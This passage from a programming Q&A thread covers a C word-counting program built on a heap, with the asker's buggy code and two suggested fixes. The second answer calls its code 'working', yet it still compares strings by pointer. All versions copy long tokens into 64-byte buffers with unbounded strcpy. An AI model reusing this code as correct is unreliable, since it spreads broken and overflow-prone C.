now /= 2;
}
strcpy(heap[now].words, string);
}
int DeleteHeap()
{
char* minElement, lastElement;
int child, now;
strcpy(minElement, heap[1].words);
strcpy(lastElement, heap[heapSize--].words);
for (now = 1; now * 2 <= heapSize; now = child)
{
child = now * 2;
if (child != heapSize && heap[child + 1].words < heap[child].words)
{
child++;
}
if (lastElement > heap[child].words)
{
strcpy(heap[now].words, heap[child].words);
}
else
{
break;
}
}
strcpy(heap[now].words, lastElement);
return now;
}
typedef struct _WORDS {
char words[64];
int count;
}WORDS;
char* MakeToken(void)
{
int i, j;
static char delim[256];
memset(delim, 0x0, 256);
for (i = 1, j = 0; i < 256; i++)
{
if (!isalpha(i)) delim[j++] = i;
}
return delim;
}
int main() {
int i = 0, cur = 0;
FILE *pFile;
char readLine[1024], *ptr;
char *token = MakeToken();
InitHeap();
pFile = fopen("C:\\Users\\Home\\Desktop\\dataset.txt", "r");
if (pFile == NULL) {
printf("File open failed.\n");
return 0;
}
while (fgets(readLine, 1024, pFile) != NULL) {
ptr = strtok(readLine, token);
while (ptr != NULL) {
InsertHeap(ptr);
ptr = strtok(NULL, token);
}
}
for (i = 0; i < heapSize; i++)
{
cur = DeleteHeap();
printf("%s %d\n", heap[cur].words, heap[cur].count);
}
return 0;
}
Error Message : Run-Time error #3
I want to make program that reads txt from file, cut them into words, and display on console. I make it, but it doesnt work. how to fix it?
I think static WORDS heap<- this part
or
delete part is error.
or its path is failure.
I see following errors in your code:
heap[0].words = NULL;
words is an array, not a dynamyc allocated pointer, so you cannot assign to NULL (you get a compiler error! Seems to me that the WORDS.word variable declaration is uncorrect).
strcpy(minElement, heap[1].words);
strcpy(lastElement, heap[heapSize--].words);
minElement and lastElement are not initialized and not allocated, so the strcpy function will fail.
Here is a way to correct the code, I changed the minimum possible. The following collect the words, count the number of occurences and print the result in alphabetical order:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
typedef struct _WORDS {
char words[64];
int count;
} WORDS;
static WORDS heap[10000];
int heapSize;
void InitHeap()
{
heapSize = 0;
}
void InsertHeap(char* string)
{
int num = 0;
// Search string in heap array. if found, increase count.
for(num = 0; num < heapSize; ++num)
{
if(strcmp(string, heap[num].words) == 0)
{
heap[num].count++;
return;
}
}
// If not found, add it to the array.
strcpy(heap[heapSize].words, string);
heap[heapSize].count = 1;
heapSize++;
}
char* MakeToken(void)
{
int i, j;
static char delim[256];
memset(delim, 0x0, 256);
for (i = 1, j = 0; i < 256; i++)
{
if (!isalpha(i)) delim[j++] = i;
}
return delim;
}
int compare(const void* v1, const void* v2)
{
return strcmp((const char*)v1, (const char*)v2);
}
int main()
{
int i = 0, cur = 0;
FILE *pFile;
char readLine[1024], *ptr;
char *token = MakeToken();
InitHeap();
pFile = fopen("C:\\Users\\Home\\Desktop\\dataset.txt", "r");
if(pFile == NULL)
{
printf("File open failed.\n");
return 0;
}
while (fgets(readLine, 1024, pFile) != NULL)
{
ptr = strtok(readLine, token);
while (ptr != NULL)
{
InsertHeap(ptr);
ptr = strtok(NULL, token);
}
}
// Order alphabetically the heap array.
qsort(heap, heapSize, sizeof(WORDS), compare);
for (i = 0; i < heapSize; i++)
{
printf("%s %d\n", heap[i].words, heap[i].count);
}
return 0;
}
I've fixed some errors in the code and it started to produce some results. Since I do not understand completely your task, I cannot progress further. The working code is as follows:
#pragma warning(disable:4996)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
typedef struct _WORDS { char words[64]; int count; }WORDS;
static WORDS app_heap[10000];
int heapSize;
void InitHeap()
{
heapSize = 0;
app_heap[0].words[0] = '\0';
app_heap[0].count = -1;
}
void InsertHeap(char* string)
{
heapSize++;
strcpy(app_heap[heapSize].words, string);
int now = heapSize;
while (app_heap[now / 2].words > string)
{
app_heap[now] = app_heap[now / 2];
now /= 2;
}
strcpy(app_heap[now].words, string);
}
int DeleteHeap()
{
char minElement[64], lastElement[64];
int child, now;
if(heapSize <= 0)
{
printf("Wrong call\n");
return 0;
}
strcpy(minElement, app_heap[1].words);
strcpy(lastElement, app_heap[heapSize--].words);
for (now = 1; now * 2 <= heapSize; now = child)
{
child = now * 2;
if (child != heapSize && app_heap[child + 1].words < app_heap[child].words)
{
child++;
}
if (lastElement > app_heap[child].words)
{
strcpy(app_heap[now].words, app_heap[child].words);
}
else
{
break;
}
}
strcpy(app_heap[now].words, lastElement);
return now;
}
char* MakeToken(void)
{
int i, j;
static char delim[256];
memset(delim, 0x0, 256);
for (i = 1, j = 0; i < 256; i++)
{
if (!isalpha(i)) delim[j++] = i;
}
return delim;
}
int main() {
int i = 0, cur = 0;
FILE *pFile;
char readLine[1024], *ptr;
char *token = MakeToken();
InitHeap();
pFile = fopen("dataset.txt", "r");
if (pFile == NULL) {
printf("File open failed.\n");
return 0;
}
while (fgets(readLine, 1024, pFile) != NULL) {
ptr = strtok(readLine, token);
while (ptr != NULL) {
InsertHeap(ptr);
ptr = strtok(NULL, token);
}
}
for (i = 0; i < heapSize; i++)
{
cur = DeleteHeap();
printf("%s %d\n", app_heap[cur].words, app_heap[cur].count);
}
return 0;
}

Resources